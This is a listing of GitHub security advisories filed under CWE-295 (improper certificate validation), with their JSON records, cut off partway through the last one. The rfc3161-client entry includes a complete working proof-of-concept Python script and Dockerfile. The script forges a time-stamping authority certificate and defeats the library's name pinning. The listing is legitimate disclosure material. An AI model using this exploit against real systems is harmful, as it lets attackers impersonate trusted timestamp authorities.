Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate, or incorrectly validates, a certificate.

1914 vulnerabilities reference this CWE, most recent first.

GHSA-3XGR-H5HQ-7299

Vulnerability from github – Published: 2025-10-15 20:40 – Updated: 2025-10-15 20:40
VLAI
Summary
GeoIP processor disables SSL certificate validation when downloading databases
Details

Impact

The GeoIP processor in Data Prepper was configured to trust all SSL certificates and disable hostname verification when downloading GeoIP databases from HTTP URLs, making downloads vulnerable to man-in-the-middle attacks.

The GeoIP processor included a custom SSL implementation that completely bypassed certificate validation when downloading GeoIP databases from external sources. The initiateSSL() method incorrectly implemented an approach for trusting all certificates. Specifically it:

  • Accepted all SSL certificates without validation
  • Disabled server certificate verification
  • Disabled client certificate verification
  • Disabled hostname verification

This configuration made database downloads vulnerable to man-in-the-middle attacks, potentially allowing attackers to serve malicious GeoIP databases that could compromise the integrity of geolocation data processing.

Patches

Data Prepper 2.12.2 contains a fix for this issue.

Workarounds

If upgrading is not immediately possible:

  • Use local GeoIP database files instead of downloading from HTTP URLs
  • Ensure database downloads occur only over trusted networks
Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opensearch.dataprepper.plugins:geoip-processor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T20:40:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe GeoIP processor in Data Prepper was configured to trust all SSL certificates and disable hostname verification when downloading GeoIP databases from HTTP URLs, making downloads vulnerable to man-in-the-middle attacks.\n\nThe GeoIP processor included a custom SSL implementation that completely bypassed certificate validation when downloading GeoIP databases from external sources. The `initiateSSL()` method incorrectly implemented an approach for trusting all certificates. Specifically it:\n\n* Accepted all SSL certificates without validation\n* Disabled server certificate verification\n* Disabled client certificate verification\n* Disabled hostname verification\n\nThis configuration made database downloads vulnerable to man-in-the-middle attacks, potentially allowing attackers to serve malicious GeoIP databases that could compromise the integrity of geolocation data processing.\n\n### Patches\n\nData Prepper 2.12.2 contains a fix for this issue.\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n* Use local GeoIP database files instead of downloading from HTTP URLs\n* Ensure database downloads occur only over trusted networks",
  "id": "GHSA-3xgr-h5hq-7299",
  "modified": "2025-10-15T20:40:10Z",
  "published": "2025-10-15T20:40:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/security/advisories/GHSA-3xgr-h5hq-7299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensearch-project/data-prepper/commit/b82ea0640d98d9f4c742622325faeeb6248ee135"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opensearch-project/data-prepper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoIP processor disables SSL certificate validation when downloading databases"
}

GHSA-3XW2-MCFQ-HW9H

Vulnerability from github – Published: 2022-05-17 02:45 – Updated: 2025-04-20 03:37
VLAI
Details

Acceptance of invalid/self-signed TLS certificates in "Foxit PDF - PDF reader, editor, form, signature" before 5.4 for iOS allows a man-in-the-middle and/or physically proximate attacker to silently intercept login information (username/password), in addition to the static authentication token if the user is already logged in.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-8059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-05T07:29:00Z",
    "severity": "HIGH"
  },
  "details": "Acceptance of invalid/self-signed TLS certificates in \"Foxit PDF - PDF reader, editor, form, signature\" before 5.4 for iOS allows a man-in-the-middle and/or physically proximate attacker to silently intercept login information (username/password), in addition to the static authentication token if the user is already logged in.",
  "id": "GHSA-3xw2-mcfq-hw9h",
  "modified": "2025-04-20T03:37:14Z",
  "published": "2022-05-17T02:45:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8059"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3XXC-PWJ6-JGRJ

Vulnerability from github – Published: 2026-04-08 15:00 – Updated: 2026-04-08 19:26
VLAI
Summary
rfc3161-client Has Improper Certificate Validation
Details

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

  1. Acquiring a legitimate, authentic TimeStampResponse from any widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
  2. Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
  3. Generating a dummy certificate D issued by the actual FreeTSA leaf certificate.
  4. Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.

The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()

    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return

    tsa_resp_bytes = resp.content

    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])

    # We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())

    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)

    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return

    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']

    certs = signed_data['certificates']

    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)

    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break

    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256()) 

        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)

    malicious_resp_bytes = tinfo.dump()

    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
    # We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)

    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)

    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()
  1. Requests a timestamp from https://freetsa.org/tsr.
  2. Generates a fake cert with common_name="Spoofed TSA" and ExtendedKeyUsage=TIME_STAMPING.
  3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
  4. Injects the fake cert into the bag.
  5. Invokes decode_timestamp_response() on the malicious bytes.
  6. Runs VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg).
  7. Observes a successful verification bypassing the common_name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold any valid timestamp from a CA trusted by the Verifier.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "rfc3161-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:00:23Z",
    "nvd_published_at": "2026-04-08T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn Authorization Bypass vulnerability in `rfc3161-client`\u0027s signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target `common_name` and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.\n\n### Details\n\nThe root cause lies in `rfc3161_client.verify.Verifier._verify_leaf_certs()`. The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 `SignedData` bag using a naive algorithm:\n\n```python\nleaf_certificate_found = None\nfor cert in certs:\n    if not [c for c in certs if c.issuer == cert.subject]:\n        leaf_certificate_found = cert\n        break\n```\n\nThis loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does **not** rely on checking the `ESSCertID` or `ESSCertIDv2` cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).\n\nAn attacker can exploit this by:\n\n1. Acquiring a legitimate, authentic TimeStampResponse from *any* widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.\n2. Generating a self-signed spoofed \"proxy\" certificate `A` with the exact `Subject` (e.g., `CN=Intended Corporate TSA`) and `ExtendedKeyUsage` (`id-kp-timeStamping`) required by the client\u0027s `VerifierBuilder`.\n3. Generating a dummy certificate `D` issued by the *actual* FreeTSA leaf certificate.\n4. Appending both `A` and `D` to the `certificates` list in the PKCS#7 `SignedData` of the TimeStampResponse.\n\nWhen `_verify_leaf_certs()` executes, the dummy certificate `D` disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically \"issues\" `D` within the bag). The loop then evaluates the spoofed certificate `A`, realizes it issues nothing else in the bag, and selects it as `leaf_certificate_found`.\n\nThe library then processes the `common_name` and EKU checks exactly against `A`. Since `A` was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL `pkcs7_verify` backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.\n\n### PoC\n\nThe environment simulation and the PoC script have been included in the `poc.py` and `Dockerfile` artifacts:\n\n**Dockerfile (`poc/Dockerfile`)**:\n\n```dockerfile\nFROM python:3.11-slim\nRUN apt-get update \u0026\u0026 apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git \u0026\u0026 rm -rf /var/lib/apt/lists/*\nWORKDIR /app\nCOPY . /app/rfc3161-client\nRUN pip install cryptography requests asn1crypto\nWORKDIR /app/rfc3161-client\nRUN pip install .\nCOPY poc/poc.py /app/poc.py\nWORKDIR /app\nCMD [\"python\", \"poc.py\"]\n```\n\nThe attack flow locally demonstrated in `poc/poc.py`:\n\n``` python\nimport base64\nimport requests\nfrom rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm\nfrom rfc3161_client.verify import VerifierBuilder\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nimport datetime\nfrom asn1crypto import cms, tsp\n\ndef main():\n    print(\"[*] Generating TimeStampRequest...\")\n    req_builder = TimestampRequestBuilder(\n        data=b\"hello world\",\n        hash_algorithm=HashAlgorithm.SHA256,\n        cert_req=True\n    )\n    req = req_builder.build()\n    \n    print(\"[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...\")\n    resp = requests.post(\n        \"https://freetsa.org/tsr\",\n        data=req.as_bytes(),\n        headers={\"Content-Type\": \"application/timestamp-query\"}\n    )\n    if resp.status_code != 200:\n        print(\"[-] Failed to get TSA response. Is the network up?\")\n        return\n        \n    tsa_resp_bytes = resp.content\n    \n    print(\"[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...\")\n    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n    subject = issuer = x509.Name([\n        x509.NameAttribute(NameOID.COMMON_NAME, \"Spoofed TSA\"),\n    ])\n    \n    # We create a self-signed spoofed certificate that meets all Python verification criteria\n    cert = x509.CertificateBuilder().subject_name(\n        subject\n    ).issuer_name(\n        issuer\n    ).public_key(\n        private_key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.datetime.utcnow() - datetime.timedelta(days=1)\n    ).not_valid_after(\n        datetime.datetime.utcnow() + datetime.timedelta(days=1)\n    ).add_extension(\n        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),\n        critical=True,\n    ).sign(private_key, hashes.SHA256())\n    \n    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)\n    \n    print(\"[*] Parsing the authentic PKCS#7 SignedData bag of certificates...\")\n    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)\n    status = tinfo[\u0027status\u0027][\u0027status\u0027].native\n    if status != \u0027granted\u0027:\n        print(f\"[-] Status not granted: {status}\")\n        return\n        \n    content_info = tinfo[\u0027time_stamp_token\u0027]\n    assert content_info[\u0027content_type\u0027].native == \u0027signed_data\u0027\n    signed_data = content_info[\u0027content\u0027]\n    \n    certs = signed_data[\u0027certificates\u0027]\n    \n    from asn1crypto.x509 import Certificate\n    fake_cert_asn1 = Certificate.load(fake_cert_der)\n    \n    real_leaf_asn1 = None\n    for c in certs:\n        c_subject = c.chosen[\u0027tbs_certificate\u0027][\u0027subject\u0027]\n        issues_something = False\n        for oc in certs:\n            if c == oc: continue\n            oc_issuer = oc.chosen[\u0027tbs_certificate\u0027][\u0027issuer\u0027]\n            if c_subject == oc_issuer:\n                issues_something = True\n                break\n        if not issues_something:\n            real_leaf_asn1 = c\n            break\n            \n    if real_leaf_asn1:\n        print(\"[*] Found the genuine TS leaf certificate. Creating a \u0027dummy node\u0027 to disqualify it from the library\u0027s naive leaf discovery...\")\n        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())\n        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n        dummy_cert = x509.CertificateBuilder().subject_name(\n            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Dummy Entity\")])\n        ).issuer_name(\n            real_leaf_crypto.subject\n        ).public_key(\n            dummy_priv.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.datetime.utcnow() - datetime.timedelta(days=1)\n        ).not_valid_after(\n            datetime.datetime.utcnow() + datetime.timedelta(days=1)\n        ).sign(dummy_priv, hashes.SHA256()) \n        \n        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))\n        certs.append(dummy_cert_asn1)\n\n    print(\"[*] Injecting the malicious spoofed proxy certificate into the response bag...\")\n    certs.append(fake_cert_asn1)\n    \n    malicious_resp_bytes = tinfo.dump()\n    \n    print(\"[*] Downloading FreeTSA Root Certificate Trust Anchor...\")\n    root_resp = requests.get(\"https://freetsa.org/files/cacert.pem\")\n    root_cert = x509.load_pem_x509_certificate(root_resp.content)\n    # We must also download TSA.crt which acts as an intermediate for FreeTSA\n    tsa_resp_cert = requests.get(\"https://freetsa.org/files/tsa.crt\")\n    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)\n    \n    print(\"[*] Initializing Verifier strictly pinning Common Name to \u0027Spoofed TSA\u0027...\")\n    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)\n    \n    verifier = VerifierBuilder(\n        common_name=\"Spoofed TSA\",\n        roots=[root_cert],\n        intermediates=[tsa_cert_obj],\n    ).build()\n\n    print(\"[*] Attempting Verification...\")\n    try:\n        verifier.verify_message(tsa_resp_obj, b\"hello world\")\n        print(\"\\n\\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged \u0027Spoofed TSA\u0027 name due to Trust Boundary Confusion.\\033[0m\\n\")\n    except Exception as e:\n        print(\"\\n\\033[91m[-] Verification failed:\\033[0m\", e)\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n\n1. Requests a timestamp from `https://freetsa.org/tsr`.\n2. Generates a fake cert with `common_name=\"Spoofed TSA\"` and `ExtendedKeyUsage=TIME_STAMPING`.\n3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA\u0027s leaf.\n4. Injects the fake cert into the bag.\n5. Invokes `decode_timestamp_response()` on the malicious bytes.\n6. Runs `VerifierBuilder(common_name=\"Spoofed TSA\", ...).verify_message(malicious_resp, msg)`.\n7. Observes a successful verification bypassing the `common_name` constraint.\n\n### Impact\n\n**Vulnerability Type:** Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion\n**Impact:** High. Applications relying on `rfc3161-client` to guarantee the origin of a timestamp via `tsa_certificate` or `common_name` pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold *any* valid timestamp from a CA trusted by the Verifier.",
  "id": "GHSA-3xxc-pwj6-jgrj",
  "modified": "2026-04-08T19:26:29Z",
  "published": "2026-04-08T15:00:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/security/advisories/GHSA-3xxc-pwj6-jgrj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/rfc3161-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rfc3161-client Has Improper Certificate Validation"
}

GHSA-427F-V2MQ-364F

Vulnerability from github – Published: 2022-06-16 00:00 – Updated: 2022-06-25 00:01
VLAI
Details

Splunk Enterprise peers in Splunk Enterprise versions before 9.0 and Splunk Cloud Platform versions before 8.2.2203 did not validate the TLS certificates during Splunk-to-Splunk communications by default. Splunk peer communications configured properly with valid certificates were not vulnerable. However, an attacker with administrator credentials could add a peer without a valid certificate and connections from misconfigured nodes without valid certificates did not fail by default. For Splunk Enterprise, update to Splunk Enterprise version 9.0 and Configure TLS host name validation for Splunk-to-Splunk communications (https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation) to enable the remediation.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-32152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Splunk Enterprise peers in Splunk Enterprise versions before 9.0 and Splunk Cloud Platform versions before 8.2.2203 did not validate the TLS certificates during Splunk-to-Splunk communications by default. Splunk peer communications configured properly with valid certificates were not vulnerable. However, an attacker with administrator credentials could add a peer without a valid certificate and connections from misconfigured nodes without valid certificates did not fail by default. For Splunk Enterprise, update to Splunk Enterprise version 9.0 and Configure TLS host name validation for Splunk-to-Splunk communications (https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation) to enable the remediation.",
  "id": "GHSA-427f-v2mq-364f",
  "modified": "2022-06-25T00:01:03Z",
  "published": "2022-06-16T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32152"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation"
    },
    {
      "type": "WEB",
      "url": "https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/Updates"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_infrastructure_version"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_digital_certificates_lack_of_encryption"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/splunk_protocol_impersonation_weak_encryption_selfsigned"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/network/splunk_identified_ssl_tls_certificates"
    },
    {
      "type": "WEB",
      "url": "https://www.splunk.com/en_us/product-security/announcements/svd-2022-0602.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42M9-F9C6-JJRJ

Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2024-04-04 01:15
VLAI
Details

An authentication bypass vulnerability exists in Windows Communication Foundation (WCF) and Windows Identity Foundation (WIF), allowing signing of SAML tokens with arbitrary symmetric keys, aka 'WCF/WIF SAML Token Authentication Bypass Vulnerability'.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-15T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An authentication bypass vulnerability exists in Windows Communication Foundation (WCF) and Windows Identity Foundation (WIF), allowing signing of SAML tokens with arbitrary symmetric keys, aka \u0027WCF/WIF SAML Token Authentication Bypass Vulnerability\u0027.",
  "id": "GHSA-42m9-f9c6-jjrj",
  "modified": "2024-04-04T01:15:50Z",
  "published": "2022-05-24T16:50:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1006"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-43FF-RR26-8HX4

Vulnerability from github – Published: 2025-10-15 20:09 – Updated: 2025-10-15 20:09
VLAI
Summary
OpenSearch Data Prepper plugins trust all SSL certificates by default
Details

Impact

The OpenSearch sink and source plugins in Data Prepper are configured to trust all SSL certificates by default when no certificate path was provided, making connections vulnerable to man-in-the-middle attacks.

Prior to this fix, the OpenSearch sink and source plugins would automatically use a trust all SSL strategy when connecting to OpenSearch clusters if no certificate path was explicitly configured. This behavior bypassed SSL certificate validation, potentially allowing attackers to intercept and modify data in transit through man-in-the-middle attacks.

The vulnerability affects connections to OpenSearch when the cert parameter is not explicitly provided.

Patches

Data Prepper 2.12.2

Workarounds

If you cannot immediately upgrade to the fixed version, you can implement the following workaround.

OpenSearch sink

Add the cert parameter to your OpenSearch sink configuration with the path to your cluster's CA certificate. The following example shows how to accomplish this.

sink:
  - opensearch:
      hosts: ["https://your-opensearch-cluster:9200"]
      cert: /path/to/your/ca-certificate.pem

OpenSearch source

Add the cert parameter to your OpenSearch sink configuration with the path to your cluster's CA certificate. The following example shows how to accomplish this.

sink:
  - opensearch:
      hosts: ["https://your-opensearch-cluster:9200"]
      connection:
        cert: /path/to/your/ca-certificate.pem

References

N/A

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
